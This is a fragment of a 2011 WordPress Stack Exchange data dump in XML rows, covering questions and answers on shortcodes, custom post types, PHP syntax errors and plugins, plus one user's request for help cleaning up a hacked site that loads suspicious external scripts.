  <row Id="23274" PostTypeId="2" ParentId="23263" CreationDate="2011-07-18T01:04:50.190" Score="0" ViewCount="" Body="&lt;p&gt;I found a shortcode by &lt;strong&gt;@Bainternet&lt;/strong&gt; in &lt;a href=&quot;http://en.bainternet.info/2011/shotcodes-because-its-shorter&quot; rel=&quot;nofollow&quot;&gt;Ohad Raz weblog&lt;/a&gt; that can help you to build your sintax highlight own plugin, or just type it into your &lt;code&gt;functions.php&lt;/code&gt; file theme. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function bainternet_highlight($atts, $content = null) {&#xA;extract(shortcode_atts(array(&#xA;    'color' =&amp;gt; 'yellow',&#xA;    'font' =&amp;gt; '#000000'&#xA;  ), $atts));&#xA;  return &quot;&amp;lt;FONT style=\&quot;BACKGROUND-COLOR: $color; color: $font\&quot;&amp;gt;$content&amp;lt;/font&amp;gt;&quot;;&#xA;}&#xA;add_shortcode('highlight','bainternet_highlight');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage&lt;/strong&gt;:  &lt;code&gt;[ highlight ] this text is highlighted [/highlight]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you are searching for a MCE syntax highlightter, the best plugin I have found is the &lt;a href=&quot;http://wordpress.org/extend/plugins/advanced-code-editor/&quot; rel=&quot;nofollow&quot;&gt;Advanced code Editor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helped with your question.&lt;/p&gt;&#xA;" OwnerUserId="6691" LastActivityDate="2011-07-18T01:04:50.190" />
  <row Id="23275" PostTypeId="1" CreationDate="2011-07-18T01:40:18.537" Score="0" ViewCount="55" Body="&lt;p&gt;I had a site that was hacked (had Arab words on the index.php), and all files deleted, but database still there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Fantastico to install a clean release of WP 3.1, and I still some something suspicious.  In lower right side of Firefox it says &quot;Read www.clickcoupon.me&quot;. &#xA;With FireBug and PageSpeed, I can see it's opening: &lt;a href=&quot;http://www.clickcoupon.me/plugin/sources/clickcoupon.js&quot; rel=&quot;nofollow&quot;&gt;http://www.clickcoupon.me/plugin/sources/clickcoupon.js&lt;/a&gt; and &lt;a href=&quot;http://clickcoupon.me/plugin/sources/jquery-1.3.2_nd.js&quot; rel=&quot;nofollow&quot;&gt;http://clickcoupon.me/plugin/sources/jquery-1.3.2_nd.js&lt;/a&gt; which both look extremely suspicious.  These are not part of the standard WordPress are they?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is &lt;a href=&quot;http://cpanelvideocenter.com&quot; rel=&quot;nofollow&quot;&gt;http://cpanelvideocenter.com&lt;/a&gt;. As of the time I'm posting this, it is a default install from Fantastico.  Unless they hacked my hosting company as well, I don't see how these files could be involved. &lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-07-18T17:42:55.587" Title="Suspicious URLs being loaded after hack and restore" Tags="&lt;hacked&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="23276" PostTypeId="1" AcceptedAnswerId="23277" CreationDate="2011-07-18T01:53:07.450" Score="0" ViewCount="44" Body="&lt;p&gt;I'm trying to use a jquery toggle shortcode in a theme template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shortcode goes like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[sws_toggle3 title=&quot;Title&quot;]You can now see the displayed text.[/sws_toggle3]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to pull posts from a specific category and use the toggle to display them in the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what my theme template currently has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;        $wp_query-&amp;gt;query('cat=11&amp;amp;paged='  . $paged);&#xA;        while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post();?&amp;gt;&#xA;        &amp;lt;li id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a class=&quot;title&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the output being something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[sws_toggle3 title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;]&amp;lt;?php the_content(); ?&amp;gt;[/sws_toggle3]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7101" LastActivityDate="2011-07-18T11:04:27.003" Title="Populating shortcode values dynamically in theme template" Tags="&lt;jquery&gt;&lt;shortcode&gt;" AnswerCount="2" />
  <row Id="23277" PostTypeId="2" ParentId="23276" CreationDate="2011-07-18T02:09:09.733" Score="1" ViewCount="" Body="&lt;p&gt;You should be able to use &lt;code&gt;do_shortcode()&lt;/code&gt;, with a few modifications:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo do_shortcode( '[sws_toggle3 title=&quot;' . get_the_title() . '&quot;]' . get_the_content() . '[/sws_toggle3]' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to maintain the formatting of &lt;code&gt;the_content()&lt;/code&gt;, simply pass &lt;code&gt;get_the_content()&lt;/code&gt; through the appropriate filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$content = get_the_content();&#xA;$content = apply_filters( 'the_content', $content );&#xA;echo do_shortcode( '[sws_toggle3 title=&quot;' . get_the_title() . '&quot;]' . $content . '[/sws_toggle3]' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-18T11:04:27.003" LastActivityDate="2011-07-18T11:04:27.003" CommentCount="5" />
  <row Id="23278" PostTypeId="2" ParentId="23276" CreationDate="2011-07-18T02:09:25.810" Score="1" ViewCount="" Body="&lt;p&gt;use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;do_shortcode()&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_query-&amp;gt;query('cat=11&amp;amp;paged='  . $paged);&#xA;&#xA;while ($wp_query-&amp;gt;have_posts()) :&#xA;&#xA;    $wp_query-&amp;gt;the_post();&#xA;    $content = apply_filters( 'the_content',get_the_content() );&#xA;    $title = the_title('','',false);&#xA;    $shortcode = '[sws_toggle3 title=&quot;'.$title.'&quot;]'.$content.'[/sws_toggle3]';&#xA;    echo do_shortcode($shortcode);&#xA;&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-18T02:09:25.810" CommentCount="1" />
  <row Id="23279" PostTypeId="1" CreationDate="2011-07-18T03:07:11.720" Score="1" ViewCount="53" Body="&lt;p&gt;I'd like to filter out certain post formats from certain page templates. Specifically, I'd like to exclude link post types from the front page, so I can put them in a side bar, but still keep them in archive pages. I'd also like to exclude them from a variant of an RSS feed (but not all RSS feeds).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can do this by editing the templates, but is there a way to do this via a plugin alone?&lt;/p&gt;&#xA;" OwnerUserId="603" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-18T12:07:51.850" LastActivityDate="2011-07-18T12:16:36.797" Title="Filtering out specific post formats from certain pages" Tags="&lt;plugins&gt;&lt;post-formats&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="23280" PostTypeId="1" AcceptedAnswerId="23285" CreationDate="2011-07-18T03:18:42.860" Score="-1" ViewCount="27" Body="&lt;pre&gt;&lt;code&gt;function socialbutton($content) {&#xA;    if(is_single()) {&#xA;            $content.= '&#xA;     &amp;lt;div class=&quot;author_info&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;This post was written by &amp;lt;?php the_author_posts_link(); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;span class=&quot;author_photo&quot;&amp;gt;&amp;lt;?php echo get_avatar( get_the_author_id() , 96 ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php the_author(); ?&amp;gt; &amp;amp;ndash; who has written &amp;lt;?php the_author_posts(); ?&amp;gt; posts on &amp;lt;a href=&quot;&amp;lt;?php bloginfo('home'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php bloginfo('name'); ?&amp;gt;&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php the_author_description(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p class=&quot;author_email&quot;&amp;gt;&amp;lt;a href=&quot;mailto:&amp;lt;?php the_author_email(); ?&amp;gt;&quot; title=&quot;Send an Email to the Author of this Post&quot;&amp;gt;Contact the author&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;'; &#xA;    }&#xA;    return $content;&#xA;    }add_filter ('the_content', 'socialbutton');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I add the code above to function.php, it shows &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected T_STRING in XXXXXX on line 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="7103" LastActivityDate="2011-07-18T05:13:30.710" Title="syntax error, unexpected T_STRING in" Tags="&lt;errors&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23281" PostTypeId="2" ParentId="23275" CreationDate="2011-07-18T03:54:00.950" Score="0" ViewCount="" Body="&lt;p&gt;I don't see the link with twentyten active, so if it only appears in another theme, clean that theme or replace it with a fresh copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fix your site the right way: see &lt;a href=&quot;http://codex.wordpress.org/FAQ_My_site_was_hacked&quot; rel=&quot;nofollow&quot;&gt;FAQ: My site was hacked « WordPress Codex&lt;/a&gt; and &lt;a href=&quot;http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/&quot; rel=&quot;nofollow&quot;&gt;How to completely clean your hacked wordpress installation&lt;/a&gt; and &lt;a href=&quot;http://ottopress.com/2009/hacked-wordpress-backdoors/&quot; rel=&quot;nofollow&quot;&gt;How to find a backdoor in a hacked WordPress&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress&quot; rel=&quot;nofollow&quot;&gt;Hardening WordPress « WordPress Codex&lt;/a&gt; and tell your host. Change all passswords. Scan your own PC for spyware. Some plugins might be useful: &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=security&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;Search for &quot;security&quot; « WordPress Plugins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-18T03:54:00.950" />
  <row Id="23282" PostTypeId="1" AcceptedAnswerId="23308" CreationDate="2011-07-18T04:00:29.610" Score="1" ViewCount="42" Body="&lt;p&gt;I have added several new fields to the user profile (areacode, company, affiliate, etc) and I would like to present a way to search on these fields. Please point me in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="6874" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-07-18T06:04:12.053" LastActivityDate="2011-07-18T09:30:50.123" Title="How to search for users based on added user metadata" Tags="&lt;search&gt;&lt;usermeta&gt;" AnswerCount="2" />
  <row Id="23284" PostTypeId="2" ParentId="22901" CreationDate="2011-07-18T04:59:38.360" Score="0" ViewCount="" Body="&lt;p&gt;Thanks to mike23's suggestion, I solved my problem with conditional tags.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Just insert the following in the author area of &lt;code&gt;single.php&lt;/code&gt; and &lt;code&gt;archives.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( has_tag('press_releases') ) {&#xA;      echo '';&#xA;} else { &#xA;      echo 'by '; the_author_posts_link();&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the above code, you can remove the author name on all posts tagged &lt;code&gt;press_releases&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All posts without the tag &lt;code&gt;press_releases&lt;/code&gt; will retain their author name.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you're using the &quot;&lt;strong&gt;Co-Authors Plus&lt;/strong&gt;&quot; plugin, you can also use this same method with multiple authors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just replace the template tag &lt;code&gt;the_author_posts_link()&lt;/code&gt; with  &lt;code&gt;coauthors_posts_links()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3420" LastEditorUserId="3420" LastEditorDisplayName="" LastEditDate="2011-07-18T21:48:54.790" LastActivityDate="2011-07-18T21:48:54.790" />
  <row Id="23285" PostTypeId="2" ParentId="23280" CreationDate="2011-07-18T05:13:30.710" Score="1" ViewCount="" Body="&lt;p&gt;You need to escape your single quotes on the author line, or use double quotes instead. For example, change to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo(\'home\'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php bloginfo(\'name\'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo(&quot;home&quot;); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php bloginfo(&quot;name&quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is because you started your output string with single quotes, and so it is ending the HTML content to insert too soon.&lt;/p&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-07-18T05:13:30.710" CommentCount="1" />
  <row Id="23286" PostTypeId="1" CreationDate="2011-07-17T18:13:23.267" Score="0" ViewCount="18" Body="&lt;p&gt;I am trying to make usability of WordPress custom fields admin easier in my theme. I saw it in ElegantThemes' eStore theme. Only I couldn't figure out how to do it in my custom theme because I couldn't find the code in eStore theme files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use custom fields for my featured images and it's small thumbnail version. I have to upload both those pictures and from up above on the page, right below the title, copy the link and then choose the right custom key in custom fields below and paste it and the add it. Then repeat the process for another image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/VDDjN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanna make it simple. Make two text boxes and place the upload image button in front of them. As in the image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/4PH9t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible I even wanna automate the copy and paste process. i.e.: The image link for the full size image automatically shows up in the text box on upload. Even elegant themes doesn't do that, but I would love to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I can do this. This will make the posting just a bit faster and more importantly make explaining the process to writers much much easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still looking into the code if I can find it. Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7094" LastActivityDate="2011-07-18T08:19:00.163" Title="Make separate text boxes for separate WordPress Custom Fields" Tags="&lt;php&gt;&lt;cms&gt;&lt;plugins&gt;&lt;custom-field&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="23287" PostTypeId="2" ParentId="23282" CreationDate="2011-07-18T05:21:48.763" Score="0" ViewCount="" Body="&lt;p&gt;There are some plugins that you can take give a try, it may not be exact, but it should cover your needs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search everything&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/search-everything/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search-everything/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;faceted search&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/faceted-search/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/faceted-search/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp custom field search&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-custom-fields-search/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-custom-fields-search/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-18T05:21:48.763" />
  <row Id="23288" PostTypeId="1" CreationDate="2011-07-18T05:26:00.383" Score="0" ViewCount="51" Body="&lt;p&gt;I'm currently developing a widget for slideshow using SlideJS. I know that there are plenty of such plugins, but I want to develop my own, which is also a part of learning Wordpress development. At first I developed the widget using 4 text boxes to input image URLs, and it worked pretty well. Now I want to add any number of images. The requirements and/or constraints are as below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It should be a widget.&lt;/li&gt;&#xA;&lt;li&gt;The widget should give option for users to add images.&lt;/li&gt;&#xA;&lt;li&gt;Users/Administrators can add any number of images.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For this, I tried to implement a drop down list, and a button to add image. I tested the drop down list and dynamic addition of option items on a sandbox (non-wordpress) page and it worked well. When I added the same code to the widget, dynamically added option items are not displayed. But when you query the drop down list (through &lt;code&gt;document.getelementById(&quot;listboxId&quot;).options&lt;/code&gt;), you can retrieve all the elements, just that they are not visible. (FYI: I'm using the barebones theme).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another feature that I want is to plug in to the Wordpress Media Library. I followed the instructions at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18678/plugging-into-the-media-library-to-upload-images-not-associated-with-any-post&quot;&gt;Plugging into the Media Library to upload images (NOT associated with any post)&lt;/a&gt; but could not successfully implement it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have solution for my problem? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7106" LastActivityDate="2011-07-18T05:26:00.383" Title="Wordpress Widget Media Library Hook and Drop Down List" Tags="&lt;widgets&gt;&lt;media-library&gt;&lt;dropdown&gt;" />
  <row Id="23289" PostTypeId="1" AcceptedAnswerId="23295" CreationDate="2011-07-18T05:56:28.623" Score="1" ViewCount="38" Body="&lt;p&gt;I've added a custom post type, on the 'init' action, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Setup the 'Classifieds' Post Type&#xA;    $labels = array(&#xA;        'name' =&amp;gt;                   _x('Classifieds', 'post type general name'),&#xA;        'singular_name' =&amp;gt;          _x('Classifieds', 'post type singular name'),&#xA;        'add_new' =&amp;gt;                _x('Add New', 'classifieds'),&#xA;        'add_new_item' =&amp;gt;           __('Add Classifieds Item'),&#xA;        'edit_item' =&amp;gt;              __('Edit Classifieds'),&#xA;        'new_item' =&amp;gt;               __('New Classifieds Item'),&#xA;        'view_item' =&amp;gt;              __('View Classifieds'),&#xA;        'search_items' =&amp;gt;           __('Search Classifieds'),&#xA;        'not_found' =&amp;gt;              __('No classifieds found'),&#xA;        'not_found_in_trash' =&amp;gt;     __('No classifieds found in Trash'), &#xA;        'parent_item_colon' =&amp;gt;      '',&#xA;        'menu_name' =&amp;gt;              'Classifieds'&#xA;    );&#xA;&#xA;    // Configure the 'Classifieds' post type&#xA;    $args = array(&#xA;        'labels' =&amp;gt;                 $labels,&#xA;        'public' =&amp;gt;                 true,&#xA;        'publicly_queryable' =&amp;gt;     true,&#xA;        'show_ui' =&amp;gt;                true,&#xA;        'show_in_menu' =&amp;gt;           true, &#xA;        'query_var' =&amp;gt;              true,&#xA;        'rewrite' =&amp;gt;                array(&quot;slug&quot; =&amp;gt; &quot;classifieds&quot;),&#xA;        'capability_type' =&amp;gt;        'post',&#xA;        'has_archive' =&amp;gt;            true, &#xA;        'hierarchical' =&amp;gt;           true,&#xA;        'menu_position' =&amp;gt;          5,                                              &#xA;        'supports' =&amp;gt;               array('title',&#xA;                                        'editor',&#xA;                                        'author',&#xA;                                        'thumbnail',&#xA;                                        'excerpt',&#xA;                                        'trackbacks',&#xA;                                        'custom-fields',&#xA;                                        'revisions',&#xA;                                        'comments',&#xA;                                        add_theme_support( 'post-formats', &#xA;                                                            array('aside', 'gallery')&#xA;                                                        )&#xA;                                    ),&#xA;        'taxonomies' =&amp;gt; array('category', 'post_tag')&#xA;    );&#xA;    // Add the 'Classifieds' post type&#xA;    register_post_type('classifieds', $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is when I want to insert a custom post programatically, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat_ID = get_cat_ID( 'calendar' );&#xA;&#xA;            $data = array(&#xA;                'post_content' =&amp;gt; stripslashes($output),&#xA;                'post_title' =&amp;gt; stripslashes($title),&#xA;                'post_date' =&amp;gt; date('Y-m-d H:i:s'),&#xA;                'post_category' =&amp;gt; array($cat_ID),&#xA;                'post_status' =&amp;gt; $statusPost,&#xA;                'post_author' =&amp;gt; $post_author&#xA;            );&#xA;            $post_id = wp_insert_post($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The custom post is displayed under the Admin's generic 'Post' type post, not under the custom post type of 'Classifieds' which I created above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="7107" LastActivityDate="2011-07-18T07:23:13.663" Title="Programmmatically adding a Custom Post" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="23290" PostTypeId="1" CreationDate="2011-07-18T06:05:49.277" Score="0" ViewCount="23" Body="&lt;p&gt;I have uploaded 500x300 sized images for my wordpress posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These images get resized as per setting in media section to 90x70 as I want.&lt;br&gt;&#xA;Now problem is that the original images(i.e. size 500x300) and resized images(i.e. size 90x70) are placed in same folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to download only original images of size 500x300 and not images with size 90x70. I have approximately 2000 images. How do I donwload it. Please help me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance..&lt;/p&gt;&#xA;" OwnerUserId="7050" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-07-18T10:38:08.677" LastActivityDate="2011-07-18T10:38:08.677" Title="How to download original images uploaded for wordpress posts" Tags="&lt;images&gt;&lt;media-library&gt;" />
  <row Id="23291" PostTypeId="1" AcceptedAnswerId="23299" CreationDate="2011-07-18T06:13:46.317" Score="0" ViewCount="45" Body="&lt;p&gt;In my theme, i want to create a generic way of inserting a meta box to a post, page, portfolio or other custom item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, this action is like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', 'add_portfolio_settings');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works fine, but has a problem. It currently works only for creating an add_meta_box for a portfolio item. However, what if i wanted to add the same to a post or page ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, i would like to have add_action passing an argument to my add_portfolio_settings function, ideally an array, that specifies what the types that a new meta box should register under.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read stuff and tried different things about do_action, but i cannot get it to work. Any ideas ? &lt;/p&gt;&#xA;" OwnerUserId="6329" LastActivityDate="2011-07-18T08:03:30.430" Title="add_action for admin_init hook with a parameter" Tags="&lt;theme-development&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="23292" PostTypeId="1" CreationDate="2011-07-18T06:40:59.987" Score="0" ViewCount="34" Body="&lt;p&gt;I have spent the last few days working on and researching this question and have found no solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want to replace the query string which wordpress parses in order to query the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, I want to say if the url is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mysite.com/support/question&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;go to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mysite.com/another/page &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know I can setup fancy rewrite rules using the &lt;code&gt;add_rewrite_rules&lt;/code&gt; filter, but this is over complicating the situation. I don't want to go down this route, all I want to do replace the exact request i.e. &lt;code&gt;support/question&lt;/code&gt; with &lt;code&gt;another/page&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to pass a different query string to wordpress?&lt;/p&gt;&#xA;" OwnerUserId="4816" LastActivityDate="2011-08-17T12:25:55.650" Title="I want to create a filter for the query string is this possible?" Tags="&lt;query&gt;&lt;rewrite-rules&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23293" PostTypeId="1" AcceptedAnswerId="23382" CreationDate="2011-07-18T06:25:57.760" Score="-2" ViewCount="49" Body="&lt;p&gt;Can someone please recommend any good tools or service providers for converting PSD files to Wordpress themes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I would like to take Photoshop design files and turn them into WordPress themes that I can use. I would also like to have a plugin that allows me to have a list of upcoming events on the front page. &lt;/p&gt;&#xA;" OwnerUserId="7161" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-18T06:53:03.490" LastActivityDate="2011-07-19T00:06:57.540" Title="PSD to Wordpress" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;integration&gt;&lt;services&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="23294" PostTypeId="2" ParentId="23293" CreationDate="2011-07-18T06:34:10.583" Score="0" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;Photoshop&lt;/li&gt;&#xA;&lt;li&gt;Your text editor of choice&lt;/li&gt;&#xA;&lt;li&gt;Wordpress and its dependancies (for testing)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" LastActivityDate="2011-07-18T06:34:10.583" />
  <row Id="23295" PostTypeId="2" ParentId="23289" CreationDate="2011-07-18T07:23:13.663" Score="4" ViewCount="" Body="&lt;p&gt;you need to specify the post_type in your &lt;code&gt;$data&lt;/code&gt; array :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;    'post_type' =&amp;gt; 'classifieds',&#xA;    'post_content' =&amp;gt; stripslashes($output),&#xA;    'post_title' =&amp;gt; stripslashes($title),&#xA;    'post_date' =&amp;gt; date('Y-m-d H:i:s'),&#xA;    'post_category' =&amp;gt; array($cat_ID),&#xA;    'post_status' =&amp;gt; $statusPost,&#xA;    'post_author' =&amp;gt; $post_author&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-18T07:23:13.663" />
  <row Id="23296" PostTypeId="2" ParentId="23291" CreationDate="2011-07-18T07:28:58.357" Score="0" ViewCount="" Body="&lt;p&gt;Basically that's how action and filter hooks work, with predefined parameters and arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get around that by creating your own option using &lt;code&gt;add_option()&lt;/code&gt; where you can save the types for the metabox and in your &lt;code&gt;add_portfolio_settings()&lt;/code&gt; call that option using &lt;code&gt;get_option()&lt;/code&gt; and there you have your array.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-18T07:28:58.357" CommentCount="0" />
